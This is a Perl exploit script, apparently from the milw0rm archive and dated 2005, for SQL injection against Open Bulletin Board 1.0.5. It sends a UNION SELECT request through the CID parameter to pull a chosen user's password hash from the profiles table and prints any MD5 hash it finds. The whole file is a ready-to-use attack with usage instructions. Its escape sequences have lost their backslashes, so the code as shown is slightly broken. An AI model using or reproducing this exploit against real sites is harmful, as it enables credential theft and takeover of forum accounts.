#!/usr/bin/perl -w 
  
 # OpenBB sql injection 
 # tested on Open Bulletin Board 1.0.5 with mysql 
 # (c)oded by x97Rang 2005 RST/GHC 
 # Gr33tz:  __blf, 1dt.w0lf 
  
 use IO::Socket; 
  
 if (@ARGV != 3) 
 { 
    print "nUsage: $0 [server] [path] [id]n"; 
    print "like $0 forum.mysite.com / 1n"; 
    print "If found nothing - forum NOT vulnerablenn"; 
    exit (); 
 } 
  
 $server = $ARGV[0]; 
 $path = $ARGV[1]; 
 $id = $ARGV[2]; 
  
 $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",  PeerPort => "80"); 
 printf $socket ("GET %sindex.php?CID=999+union+select+1,1,password,1,1,1,1,1,1,1,1,id,1+from+profiles+where+id=$id/* HTTP/1.0nHost: %snAccept: */*nConnection: closenn", 
  $path,$server,$id); 
  
 while(<$socket>) 
 { 
     if (/>(w{32})</) { print "$1n"; } 
 }

# milw0rm.com [2005-07-18]